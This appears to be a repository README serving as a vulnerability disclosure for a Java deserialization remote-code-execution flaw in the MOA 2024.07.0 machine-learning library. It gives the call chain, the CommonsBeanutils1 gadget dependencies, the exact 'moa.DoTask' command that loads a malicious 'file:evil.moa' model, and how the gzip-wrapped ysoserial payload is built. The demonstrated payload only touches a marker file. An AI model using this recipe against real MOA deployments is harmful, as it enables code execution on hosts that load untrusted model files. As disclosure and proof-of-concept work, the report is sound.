YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MOA (nz.ac.waikato.cms.moa:moa 2024.07.0) file: ClassOption deserialization RCE
Bug
moa.options.AbstractClassOption.materializeObject() (wired to every
moa.options.ClassOption, e.g. moa.tasks.EvaluateModel.modelOption,
the -m flag) treats a currentValue instanceof java.io.File (set from a
CLI value of the form file:<path>, per FILE_PREFIX_STRING) as "load a
serialized model from disk" and calls:
com.github.javacliparser.SerializeUtils.readFromFile(File)
-> new ObjectInputStream(new GZIPInputStream(new BufferedInputStream(
new FileInputStream(file)))).readObject()
with no resolveClass() override / no allow-list. Any attacker-supplied
file: model path is therefore full Java deserialization RCE.
Call chain (from the real, unmodified released jar):
moa.tasks.TaskThread.run
-> moa.tasks.AbstractTask.doTask
-> moa.options.AbstractOptionHandler.prepareClassOptions
-> moa.options.OptionsHandler.prepareClassOptions
-> moa.options.AbstractClassOption.materializeObject (AbstractClassOption.java:168)
-> com.github.javacliparser.SerializeUtils.readFromFile (SerializeUtils.java:80)
-> ObjectInputStream.readObject() <-- GADGET FIRES HERE
Gadget-on-classpath (verified, not assumed)
moa-2024.07.0 declares a compile-scope dependency on com.opencsv:opencsv:4.0,
which itself declares compile-scope commons-beanutils:commons-beanutils:1.9.3,
which itself declares compile-scope commons-collections:commons-collections:3.2.2.
All three land unconditionally on the classpath of anything that depends on
moa 2024.07.0 (see evidence/classpath_and_gadget_proof.txt for javap-verified
class resolution of BeanComparator / InvokerTransformer / TemplatesImpl chain
classes against the real released jars). This is the ysoserial
CommonsBeanutils1 chain (PriorityQueue -> BeanComparator ->
TemplatesImpl.getOutputProperties -> defineClass); it does NOT use
InvokerTransformer at the top level so CC 3.2.2's InvokerTransformer patch is
irrelevant.
PoC β fired via the REAL documented CLI flow, not a synthetic call
java -cp moa-2024.07.0.jar:commons-beanutils-1.9.3.jar:commons-collections-3.2.2.jar:commons-logging-1.2.jar:commons-lang-2.6.jar:opencsv-4.0.jar \
moa.DoTask "EvaluateModel -m (file:evil.moa)"
evil.moa = gzip(ysoserial CommonsBeanutils1 "touch /tmp/$MARKER") β SerializeUtils wraps everything in GZIPInputStream, so the payload must be gzip-compressed; this was confirmed against the sink bytecode (javap) before building the payload.
Results (3 independent fires, 3 independent markers, all succeeded)
- evil.moa -> marker moa_rce_1784343471_32276 -> CREATED (marker_name.txt)
- evil2.moa -> marker moa_rce_repro_1784343686_34965 -> CREATED (independent repro run, marker_name_repro2.txt)
- evil3.moa -> marker moa_rce_evidence_1784343711_35274 -> CREATED (evidence/exploit_fire_log.txt, full stack trace showing com.github.javacliparser.SerializeUtils.readFromFile -> ObjectInputStream.readObject -> PriorityQueue.readObject -> BeanComparator.compare -> TemplatesImpl.getOutputProperties, matching the CommonsBeanutils1 gadget exactly)
Negative control
benign.moa = gzip(real serialized moa.classifiers.bayes.NaiveBayes instance,
written with the SAME com.github.javacliparser.SerializeUtils.writeToFile API
a legitimate MOA model file would be produced with) fired through the
identical moa.DoTask "EvaluateModel -m (file:benign.moa)" path:
task completes normally (produces real classification-performance CSV output,
see evidence/negative_control_log.txt), no marker file of any kind is
created β confirming the marker creation above is specifically caused by
the malicious gadget object graph, not by deserialization/model-loading in
general.
Files
- evidence/classpath_and_gadget_proof.txt β exact classpath, sha256 of every jar, javap-verified class resolution
- evidence/exploit_fire_log.txt β full pre-fire / fire / post-fire transcript (3rd independent run)
- evidence/negative_control_log.txt β full negative-control transcript
- evil.moa / evil2.moa / evil3.moa β CommonsBeanutils1 payloads (gzip'd ysoserial output)
- benign.moa β negative-control benign serialized NaiveBayes model
- harness_src/MoaFireHarness.java β optional direct API-level harness (ClassOption.setValueViaCLIString + materializeObject); superseded by the moa.DoTask CLI fire above as the primary PoC, kept for the alternate reachability proof
- harness_src/NegControlGen.java β generates benign.moa
- ysoserial_gen.log / ysoserial_gen2.log β ysoserial payload-generation logs